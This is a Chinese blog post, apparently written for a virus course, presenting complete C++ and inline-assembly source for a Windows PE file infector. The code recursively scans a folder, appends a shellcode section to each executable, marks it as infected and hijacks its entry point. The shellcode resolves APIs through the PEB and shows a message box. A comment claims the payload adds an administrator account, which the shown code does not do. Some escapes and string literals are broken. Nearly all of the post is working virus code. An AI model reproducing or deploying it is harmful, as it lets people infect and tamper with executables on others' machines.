PE感染学习

病毒课程老师要求的代码

用到了很多PE知识: 

直接上代码吧

// ganran_pe.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>
#include <malloc.h>
#include <assert.h>



//本程序只适用于载入基址定位的。。。非随机基址
//感染指定目录的PE文件
char ItIs[MAX_PATH] = "C:\1";
//添加了一个新节区
//然后shellcode是添加一个名为a,密码为a的administrator
//然后PEB定位kernel32只在我的win7 x64电脑上测试成功,可以稍许修改,以通用


//函数功能: 以ALIGN_BASE为对齐度对齐size
//参数说明: 
//		size:需要对齐的大小
//		ALIGN_BASE:对齐度
//返回值:	返回对齐后的大小
DWORD Align(DWORD size, DWORD ALIGN_BASE)
{
	assert(0 != ALIGN_BASE);
	if (size % ALIGN_BASE)
	{
		size = (size/ALIGN_BASE + 1) * ALIGN_BASE;
	}
	return size;
}

//函数功能: 检测感染标识和设置感染标识
//参数说明:
//		pDosHdr:执行DOS头
//返回值:	是否未被感染, 是->TRUE, 否->FALSE
BOOL SetFectFlag(PIMAGE_DOS_HEADER &pDosHdr)
{
	if (*(DWORD*)pDosHdr->e_res2 == 0x4B4B43)
	{
		return FALSE;
	}
	else
	{
		*(DWORD*)pDosHdr->e_res2 = 0x4B4B43;
		return TRUE;
	}
}

//函数功能:	打开文件并判断文件类型
//参数说明:	
//		szPath:文件绝对路径
//		lpMemory:保存文件内存映射地址
//返回值:	是否是PE文件, 是->TRUE, 否->FALSE
BOOL CreateFileAndCheck(char *szPath, LPVOID &lpMemory, HANDLE &hFile)
{
	//打开文件
	hFile = CreateFileA(szPath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		//printf("CreateFileA %s Failed! ErrorCode = %d
", szPath, GetLastError());
		return FALSE;
	}
	HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
	if (!hMap)
	{
		//printf("CreateFileMappingA %s Failed! ErrorCode = %d
", szPath, GetLastError());
		return FALSE;
	}
	lpMemory = MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, NULL, NULL, NULL);
	if (!lpMemory)
	{
		//printf("MapViewOfFile %s Failed! ErrorCode = %d
", szPath, GetLastError());
		CloseHandle(hMap);
		return FALSE;
	}

	CloseHandle(hMap);
	return TRUE;
}

//函数功能: 感染指定文件
//参数说明:
//		szPath:文件绝对路径
DWORD dwNum;
PBYTE pByte;
DWORD dwOldOp;
DWORD dwNum1;
DWORD nSecSize;
DWORD size;
DWORD i;
PIMAGE_SECTION_HEADER pSecHdr;
PIMAGE_SECTION_HEADER pNewHdr;
PIMAGE_SECTION_HEADER pLastHdr;
PIMAGE_NT_HEADERS32 pNtHdr;
void FectPE(char *szPath)
{
	LPVOID lpMemory;
	HANDLE hFile;
	if (!CreateFileAndCheck(szPath, lpMemory, hFile))
	{
		return;
	}
	PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpMemory;
	//判断DOS标识
	if (*(WORD*)pDosHdr != 23117)
		goto Err;

	 pNtHdr = (PIMAGE_NT_HEADERS32)( *(DWORD*)&pDosHdr + (DWORD)pDosHdr->e_lfanew);
	//判断NT标识
	if (*(WORD*)pNtHdr != 17744)
		goto Err;

	//设置感染标识
	if (!SetFectFlag(pDosHdr))
		goto Err;

	//检查可用空间
	if ((pNtHdr->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHdr->OptionalHeader.SizeOfHeaders)
		goto Err;

	 pSecHdr = (PIMAGE_SECTION_HEADER)(*(DWORD*)&pNtHdr + sizeof(IMAGE_NT_HEADERS32));
	 pNewHdr = (PIMAGE_SECTION_HEADER)(pSecHdr + pNtHdr->FileHeader.NumberOfSections);
	 pLastHdr = (PIMAGE_SECTION_HEADER)(pNewHdr - 1);

	//检测是否有附加数据
	 i = 0;
	 size = pSecHdr->PointerToRawData;
	for ( ; i<pNtHdr->FileHeader.NumberOfSections; i++)
	{
		size += Align(pSecHdr[i].SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);
	}
	if (size != GetFileSize(hFile, 0))
	{
		return;			//有附加数据
	}

	goto shellend;
	_asm
	{
shellstart:		
			CLD                 ; clear flag DF
			;store hash
			push 0x1e380a6a     ;hash of MessageBoxA
			push 0x4fd18963     ;hash of ExitProcess
			push 0x0c917432     ;hash of LoadLibraryA
			mov esi,esp         ; esi = addr of first function hash 
			lea edi,[esi-0xc]   ; edi = addr to start writing function 
			; make some stack space
			xor ebx,ebx
			mov bh, 0x04            
			sub esp, ebx 
			; push a pointer to "user32" onto stack 
			mov bx, 0x3233      ; rest of ebx is null 
			push ebx 
			push 0x72657375
			push esp 
			xor edx,edx
			; find base addr of kernel32.dll 
			mov ebx,fs:[edx+0x30]   //得到peb结构体的地址
		mov ebx,[ebx + 0xc] //得到Ldr结构体的地址
		mov ebx,[ebx + 0xc] //得到ldr.InLoadOrderModuleList.Flink 第一个模块,当前进程
		mov ebx,[ebx]   //得到第二个模块地址 ntdll.dll
		mov ebx,[ebx]   //得到第三个模块地址 kernel32.dll
		mov ebx,[ebx+0x18]  //得到第三个模块地址(kernel32模块的dllbase)
		mov ebp,ebx
find_lib_functions:
		lodsd                   ; load next hash into al and increment esi 
			cmp eax, 0x1e380a6a     ; hash of MessageBoxA - trigger 
			; LoadLibrary("user32")
			jne find_functions 
			xchg eax, ebp           ; save current hash 
			call [edi - 0x8]        ; LoadLibraryA 
			xchg eax, ebp           ; restore current hash, and update ebp 
			; with base address of user32.dll 
find_functions:
		pushad                      ; preserve registers 
			mov eax, [ebp + 0x3c]       ; eax = start of PE header 
			mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table 
			add ecx, ebp                ; ecx = absolute addr of export table 
			mov ebx, [ecx + 0x20]       ; ebx = relative offset of names table 
			add ebx, ebp                ; ebx = absolute addr of names table 
			xor edi, edi                ; edi will count through the functions 
next_function_loop:
		inc edi                     ; increment function counter 
			mov esi, [ebx + edi * 4]    ; esi = relative offset of current function name
			add esi, ebp                ; esi = absolute addr of current function name
			cdq                         ; dl will hold hash (we know eax is small)
hash_loop:
		movsx eax, byte ptr[esi]
		cmp al,ah
			jz compare_hash
			ror edx,7
			add edx,eax
			inc esi
			jmp hash_loop
compare_hash:  
		cmp edx, [esp + 0x1c]       ; compare to the requested hash (saved on stack from pushad)
			jnz next_function_loop 
			mov ebx, [ecx + 0x24]       ; ebx = relative offset of ordinals table 
			add ebx, ebp                ; ebx = absolute addr of ordinals table 
			mov di, [ebx + 2 * edi]     ; di = ordinal number of matched function 
			mov ebx, [ecx + 0x1c]       ; ebx = relative offset of address table 
			add ebx, ebp                ; ebx = absolute addr of address table 
			add ebp, [ebx + 4 * edi]    ; add to ebp (base addr of module) the
			; relative offset of matched function 
			xchg eax, ebp               ; move func addr into eax 
			pop edi                     ; edi is last onto stack in pushad 
			stosd                       ; write function addr to [edi] and increment edi 
			push edi 
			popad                   ; restore registers 
			; loop until we reach end of last hash 
			cmp eax,0x1e380a6a
			jne find_lib_functions 
function_call:
		xor ebx,ebx
			push ebx            // cut string

		  push 0xE9D1B5CA    //构造中文字符串
			  push 0xBEB6A1B2
			  mov edx,esp
			  push ebx
			  push 0x20202031
			  push 0x32303232
			  push 0x31313130
			  push 0x322B6E61
			  push 0x7571676E
			  push 0x61686367
			  push 0x6E616978
			  mov eax,esp
			  push ebx
			  push edx
			  push eax
			  push ebx
			  call dword ptr ds:[edi-0x4]

			mov eax,0x11111111
			jmp eax
	}
shellend:
		PBYTE *pShell;
		DWORD nShellLen;
		_asm
		{
			lea eax,shellstart
		mov pShell,eax
		lea ebx,shellend
		sub ebx,eax
		mov nShellLen,ebx
	}
	//添加新节
	memcpy(pNewHdr->Name, ".panda", 6);
	//新加节virtualsize
	 nSecSize = nShellLen;
	pNewHdr->Misc.VirtualSize = nSecSize;//这个值可以不是对齐的值 ps:貌似除了这个其他都要对齐哎╮(╯▽╰)╭
	
	pNewHdr->VirtualAddress = pLastHdr->VirtualAddress + Align(pLastHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);
	pNewHdr->SizeOfRawData = Align(nSecSize, pNtHdr->OptionalHeader.FileAlignment);
	pNewHdr->PointerToRawData = pLastHdr->PointerToRawData + Align(pLastHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);
	pNewHdr->Characteristics = IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_EXECUTE;

	pNtHdr->FileHeader.NumberOfSections++;
	
	pNtHdr->OptionalHeader.SizeOfImage += Align(pNewHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);//这个值必须是对齐的值
//	pNtHdr->OptionalHeader.SizeOfCode += Align(pNewHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);//话说这个好像可要可不要
	//FlushViewOfFile(pDosHdr, 0);

	//写入shellcode
	dwOldOp = pNtHdr->OptionalHeader.AddressOfEntryPoint;
	printf("原始入口点: %XH
", dwOldOp);
	dwOldOp += pNtHdr->OptionalHeader.ImageBase;
	
	printf("原始程序加载点: %XH
", dwOldOp);
	 dwNum1 = 0;
	SetFilePointer(hFile, 0, 0, FILE_END);
	WriteFile(hFile, pShell, nShellLen, &dwNum1, NULL);
	SetFilePointer(hFile, -6, 0, FILE_CURRENT);

	WriteFile(hFile, &dwOldOp, 4, &dwNum1, NULL);

	//写入剩余字节
	 pByte = (PBYTE)malloc(pNewHdr->SizeOfRawData-nShellLen);
	ZeroMemory(pByte, pNewHdr->SizeOfRawData-nShellLen);
	 dwNum = 0;
	SetFilePointer(hFile, 0, 0, FILE_END);
	WriteFile(hFile, pByte, pNewHdr->SizeOfRawData-nShellLen, &dwNum, NULL);
	//FlushFileBuffers(hFile);
	free(pByte);

	pNtHdr->OptionalHeader.AddressOfEntryPoint = pNewHdr->VirtualAddress;
	//printf("新入口点: %X
", pNewHdr->VirtualAddress);

Err:
	CloseHandle(hFile);
	UnmapViewOfFile(lpMemory);
}

//函数功能: 扫描查找文件
//参数说明:
//		szPath:需要扫描的目录
void FindFile(char *szPath)
{
	WIN32_FIND_DATAA FindFileData;
	
	char szFileToFind[MAX_PATH] = {0};
	lstrcpyA(szFileToFind, szPath);
	lstrcatA(szFileToFind, "\*.*");

	//查找目录下所有文件
	HANDLE hFile = FindFirstFileA(szFileToFind, &FindFileData);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		printf("FindFirstFileA Failed!
");
		return;
	}
	do 
	{
		char szNewPath[MAX_PATH] = {0};
		lstrcpyA(szNewPath, szPath);

		//判断是否是目录
		if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
		{
			//判断是否是.或..
			if (!lstrcmpA(FindFileData.cFileName, ".") || !lstrcmpA(FindFileData.cFileName, "..")){}
			else
			{
				//递归查找下级目录
				lstrcatA(szNewPath, "\");
				lstrcatA(szNewPath, FindFileData.cFileName);
				FindFile(szNewPath);
			}
		}
		else
		{
			//处理查找到的文件
			char szExe[MAX_PATH] = {0};
			lstrcpyA(szExe, szNewPath);
			lstrcatA(szExe, "\");
			lstrcatA(szExe, FindFileData.cFileName);
			FectPE(szExe);
		}
	} while (FindNextFileA(hFile, &FindFileData));

	FindClose(hFile);
}

//主函数
int main()
{
	FindFile(ItIs);

	return 0;
}

最后弹框  姓名+学号




原文地址:https://www.cnblogs.com/zcc1414/p/3982352.html